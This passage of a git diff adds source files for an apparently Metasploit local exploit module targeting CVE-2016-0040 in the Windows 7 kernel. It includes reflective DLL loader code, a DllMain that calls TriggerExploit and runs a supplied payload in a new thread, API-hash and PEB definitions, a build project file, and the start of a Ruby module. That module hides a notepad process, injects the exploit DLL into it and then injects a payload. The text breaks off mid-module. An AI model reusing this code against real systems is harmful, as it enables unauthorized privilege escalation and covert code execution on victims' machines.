// uiValueD is now the first entry in the current relocation block
|
||||||
|
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||||
|
|
||||||
|
// we itterate through all the entries in the current block...
|
||||||
|
while( uiValueB-- )
|
||||||
|
{
|
||||||
|
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||||
|
// we dont use a switch statement to avoid the compiler building a jump table
|
||||||
|
// which would not be very position independent!
|
||||||
|
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
|
||||||
|
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||||
|
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
|
||||||
|
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||||
|
#ifdef WIN_ARM
|
||||||
|
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||||
|
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
|
||||||
|
{
|
||||||
|
register DWORD dwInstruction;
|
||||||
|
register DWORD dwAddress;
|
||||||
|
register WORD wImm;
|
||||||
|
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||||
|
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
|
||||||
|
// flip the words to get the instruction as expected
|
||||||
|
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||||
|
// sanity chack we are processing a MOV instruction...
|
||||||
|
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
|
||||||
|
{
|
||||||
|
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||||
|
wImm = (WORD)( dwInstruction & 0x000000FF);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||||
|
// apply the relocation to the target address
|
||||||
|
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
|
||||||
|
// now create a new instruction with the same opcode and register param.
|
||||||
|
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
|
||||||
|
// patch in the relocated address...
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||||
|
// now flip the instructions words and patch back into the code...
|
||||||
|
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
|
||||||
|
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||||
|
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
|
||||||
|
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||||
|
|
||||||
|
// get the next entry in the current relocation block
|
||||||
|
uiValueD += sizeof( IMAGE_RELOC );
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next entry in the relocation directory
|
||||||
|
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 6: call our images entry point
|
||||||
|
|
||||||
|
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||||
|
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
||||||
|
|
||||||
|
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||||
|
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
|
||||||
|
|
||||||
|
// call our respective entry point, fudging our hInstance value
|
||||||
|
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||||
|
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
|
||||||
|
#else
|
||||||
|
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||||
|
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||||
|
return uiValueA;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include <library/library.h>
|
||||||
|
|
||||||
|
DWORD WINAPI ExecutePayload(LPVOID lpPayload)
|
||||||
|
{
|
||||||
|
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||||
|
lpCode();
|
||||||
|
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||||
|
{
|
||||||
|
BOOL bReturnValue = TRUE;
|
||||||
|
switch( dwReason )
|
||||||
|
{
|
||||||
|
case DLL_QUERY_HMODULE:
|
||||||
|
if( lpReserved != NULL )
|
||||||
|
*(HMODULE *)lpReserved = hAppInstance;
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
hAppInstance = hinstDLL;
|
||||||
|
if (TriggerExploit() == TRUE) {
|
||||||
|
LOG("[+] Exploitation Completed\n");
|
||||||
|
if (lpReserved != NULL) {
|
||||||
|
LOG("[+] Launching Payload\n");
|
||||||
|
CreateThread(0, 0, &ExecutePayload, lpReserved, 0, NULL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
LOG("[-] Exploitation Failed\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return bReturnValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,214 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||||
|
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
#include <Winsock2.h>
|
||||||
|
#include <intrin.h>
|
||||||
|
|
||||||
|
#define DLL_QUERY_HMODULE 6
|
||||||
|
|
||||||
|
#define DEREF( name )*(UINT_PTR *)(name)
|
||||||
|
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||||
|
#define DEREF_32( name )*(DWORD *)(name)
|
||||||
|
#define DEREF_16( name )*(WORD *)(name)
|
||||||
|
#define DEREF_8( name )*(BYTE *)(name)
|
||||||
|
|
||||||
|
typedef ULONG_PTR(WINAPI * REFLECTIVELOADER)(VOID);
|
||||||
|
typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);
|
||||||
|
|
||||||
|
#define DLLEXPORT __declspec( dllexport )
|
||||||
|
|
||||||
|
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
||||||
|
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
||||||
|
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
||||||
|
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
|
||||||
|
|
||||||
|
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||||
|
#define NTDLLDLL_HASH 0x3CFA685D
|
||||||
|
|
||||||
|
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||||
|
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||||
|
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||||
|
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||||
|
|
||||||
|
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||||
|
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||||
|
|
||||||
|
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||||
|
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||||
|
#define ARM_MOVW 0xF2400000
|
||||||
|
#define ARM_MOVT 0xF2C00000
|
||||||
|
|
||||||
|
#define HASH_KEY 13
|
||||||
|
//===============================================================================================//
|
||||||
|
#pragma intrinsic( _rotr )
|
||||||
|
|
||||||
|
__forceinline DWORD ror( DWORD d )
|
||||||
|
{
|
||||||
|
return _rotr( d, HASH_KEY );
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline DWORD hash( char * c )
|
||||||
|
{
|
||||||
|
register DWORD h = 0;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
h = ror( h );
|
||||||
|
h += *c;
|
||||||
|
} while( *++c );
|
||||||
|
|
||||||
|
return h;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
typedef struct _UNICODE_STR
|
||||||
|
{
|
||||||
|
USHORT Length;
|
||||||
|
USHORT MaximumLength;
|
||||||
|
PWSTR pBuffer;
|
||||||
|
} UNICODE_STR, *PUNICODE_STR;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||||
|
//__declspec( align(8) )
|
||||||
|
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||||
|
{
|
||||||
|
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||||
|
LIST_ENTRY InMemoryOrderModuleList;
|
||||||
|
LIST_ENTRY InInitializationOrderModuleList;
|
||||||
|
PVOID DllBase;
|
||||||
|
PVOID EntryPoint;
|
||||||
|
ULONG SizeOfImage;
|
||||||
|
UNICODE_STR FullDllName;
|
||||||
|
UNICODE_STR BaseDllName;
|
||||||
|
ULONG Flags;
|
||||||
|
SHORT LoadCount;
|
||||||
|
SHORT TlsIndex;
|
||||||
|
LIST_ENTRY HashTableEntry;
|
||||||
|
ULONG TimeDateStamp;
|
||||||
|
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||||
|
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||||
|
{
|
||||||
|
DWORD dwLength;
|
||||||
|
DWORD dwInitialized;
|
||||||
|
LPVOID lpSsHandle;
|
||||||
|
LIST_ENTRY InLoadOrderModuleList;
|
||||||
|
LIST_ENTRY InMemoryOrderModuleList;
|
||||||
|
LIST_ENTRY InInitializationOrderModuleList;
|
||||||
|
LPVOID lpEntryInProgress;
|
||||||
|
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||||
|
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||||
|
{
|
||||||
|
struct _PEB_FREE_BLOCK * pNext;
|
||||||
|
DWORD dwSize;
|
||||||
|
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||||
|
|
||||||
|
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||||
|
// WinDbg> dt -v ntdll!_PEB
|
||||||
|
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||||
|
{
|
||||||
|
BYTE bInheritedAddressSpace;
|
||||||
|
BYTE bReadImageFileExecOptions;
|
||||||
|
BYTE bBeingDebugged;
|
||||||
|
BYTE bSpareBool;
|
||||||
|
LPVOID lpMutant;
|
||||||
|
LPVOID lpImageBaseAddress;
|
||||||
|
PPEB_LDR_DATA pLdr;
|
||||||
|
LPVOID lpProcessParameters;
|
||||||
|
LPVOID lpSubSystemData;
|
||||||
|
LPVOID lpProcessHeap;
|
||||||
|
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||||
|
LPVOID lpFastPebLockRoutine;
|
||||||
|
LPVOID lpFastPebUnlockRoutine;
|
||||||
|
DWORD dwEnvironmentUpdateCount;
|
||||||
|
LPVOID lpKernelCallbackTable;
|
||||||
|
DWORD dwSystemReserved;
|
||||||
|
DWORD dwAtlThunkSListPtr32;
|
||||||
|
PPEB_FREE_BLOCK pFreeList;
|
||||||
|
DWORD dwTlsExpansionCounter;
|
||||||
|
LPVOID lpTlsBitmap;
|
||||||
|
DWORD dwTlsBitmapBits[2];
|
||||||
|
LPVOID lpReadOnlySharedMemoryBase;
|
||||||
|
LPVOID lpReadOnlySharedMemoryHeap;
|
||||||
|
LPVOID lpReadOnlyStaticServerData;
|
||||||
|
LPVOID lpAnsiCodePageData;
|
||||||
|
LPVOID lpOemCodePageData;
|
||||||
|
LPVOID lpUnicodeCaseTableData;
|
||||||
|
DWORD dwNumberOfProcessors;
|
||||||
|
DWORD dwNtGlobalFlag;
|
||||||
|
LARGE_INTEGER liCriticalSectionTimeout;
|
||||||
|
DWORD dwHeapSegmentReserve;
|
||||||
|
DWORD dwHeapSegmentCommit;
|
||||||
|
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||||
|
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||||
|
DWORD dwNumberOfHeaps;
|
||||||
|
DWORD dwMaximumNumberOfHeaps;
|
||||||
|
LPVOID lpProcessHeaps;
|
||||||
|
LPVOID lpGdiSharedHandleTable;
|
||||||
|
LPVOID lpProcessStarterHelper;
|
||||||
|
DWORD dwGdiDCAttributeList;
|
||||||
|
LPVOID lpLoaderLock;
|
||||||
|
DWORD dwOSMajorVersion;
|
||||||
|
DWORD dwOSMinorVersion;
|
||||||
|
WORD wOSBuildNumber;
|
||||||
|
WORD wOSCSDVersion;
|
||||||
|
DWORD dwOSPlatformId;
|
||||||
|
DWORD dwImageSubsystem;
|
||||||
|
DWORD dwImageSubsystemMajorVersion;
|
||||||
|
DWORD dwImageSubsystemMinorVersion;
|
||||||
|
DWORD dwImageProcessAffinityMask;
|
||||||
|
DWORD dwGdiHandleBuffer[34];
|
||||||
|
LPVOID lpPostProcessInitRoutine;
|
||||||
|
LPVOID lpTlsExpansionBitmap;
|
||||||
|
DWORD dwTlsExpansionBitmapBits[32];
|
||||||
|
DWORD dwSessionId;
|
||||||
|
ULARGE_INTEGER liAppCompatFlags;
|
||||||
|
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||||
|
LPVOID lppShimData;
|
||||||
|
LPVOID lpAppCompatInfo;
|
||||||
|
UNICODE_STR usCSDVersion;
|
||||||
|
LPVOID lpActivationContextData;
|
||||||
|
LPVOID lpProcessAssemblyStorageMap;
|
||||||
|
LPVOID lpSystemDefaultActivationContextData;
|
||||||
|
LPVOID lpSystemAssemblyStorageMap;
|
||||||
|
DWORD dwMinimumStackCommit;
|
||||||
|
} _PEB, * _PPEB;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
WORD offset:12;
|
||||||
|
WORD type:4;
|
||||||
|
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,99 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>15.0</VCProjectVersion>
|
||||||
|
<ProjectGuid>{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}</ProjectGuid>
|
||||||
|
<RootNamespace>Metasploit</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0.15063.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup />
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<AdditionalDependencies>$(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>
|
||||||
|
copy /y $(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).dll $(SolutionDir)$(Platform)\$(Configuration)\$(SolutionName).$(Platform).dll</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Message>Copy DLL</Message>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<AdditionalDependencies>$(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>
|
||||||
|
copy /y $(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).dll $(SolutionDir)$(Platform)\$(Configuration)\$(SolutionName).$(Platform).dll</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Message>Copy DLL</Message>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="Metasploit.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="Metasploit.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,113 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/post/windows/reflective_dll_injection'
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Windows::Priv
|
||||||
|
include Msf::Post::Windows::Process
|
||||||
|
include Msf::Post::Windows::FileInfo
|
||||||
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Windows WMI Recieve Notification Exploit',
|
||||||
|
'Description' => %q(
|
||||||
|
This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.
|
||||||
|
This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.
|
||||||
|
),
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'smmrootkit', # crash code
|
||||||
|
'de7ec7ed', # exploit code
|
||||||
|
'de7ec7ed', # msf module
|
||||||
|
],
|
||||||
|
'Arch' => [ARCH_X64],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'SessionTypes' => ['meterpreter'],
|
||||||
|
'DefaultOptions' => {
|
||||||
|
'EXITFUNC' => 'thread'
|
||||||
|
},
|
||||||
|
'Targets' => [
|
||||||
|
['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }]
|
||||||
|
],
|
||||||
|
'Payload' => {
|
||||||
|
'Space' => 4096,
|
||||||
|
'DisableNops' => true
|
||||||
|
},
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2016-0040'],
|
||||||
|
['MSB', 'MS16-014'],
|
||||||
|
['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'],
|
||||||
|
['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'],
|
||||||
|
['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Dec 4 2015',
|
||||||
|
'DefaultTarget' => 0)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
# Windows 7 SP0/SP1 (64-bit)
|
||||||
|
|
||||||
|
if sysinfo['OS'] !~ /windows/i
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe'
|
||||||
|
major, minor, build, revision, branch = file_version(file_path)
|
||||||
|
vprint_status("ntoskrnl.exe file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Safe if build > 7601
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
if is_system?
|
||||||
|
fail_with(Failure::None, 'Session is already elevated')
|
||||||
|
end
|
||||||
|
|
||||||
|
check_result = check
|
||||||
|
if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
|
||||||
|
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
|
||||||
|
end
|
||||||
|
|
||||||
|
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
|
||||||
|
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status('Launching notepad to host the exploit...')
|
||||||
|
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
|
||||||
|
begin
|
||||||
|
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
|
||||||
|
print_good("Process #{process.pid} launched.")
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError
|
||||||
|
# Reader Sandbox won't allow to create a new process:
|
||||||
|
# stdapi_sys_process_execute: Operation failed: Access is denied.
|
||||||
|
print_status('Operation failed. Trying to elevate the current process...')
|
||||||
|
process = client.sys.process.open
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
|
||||||
|
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0040', 'CVE-2016-0040.x64.dll')
|
||||||
|
library_path = ::File.expand_path(library_path)
|
||||||
|
|
||||||
|
print_status("Injecting exploit into #{process.pid}...")
|
||||||
|
exploit_mem, offset = inject_dll_into_process(process, library_path)
|
||||||
|
|
||||||
|
print_status("Exploit injected. Injecting payload into #{process.pid}...")
|
||||||
|
payload_mem = inject_into_process(process, payload.encoded)
|
||||||
|
|
||||||
|
# invoke the exploit, passing in the address of the payload that
|
||||||
|
# we want invoked on successful exploitation.
|
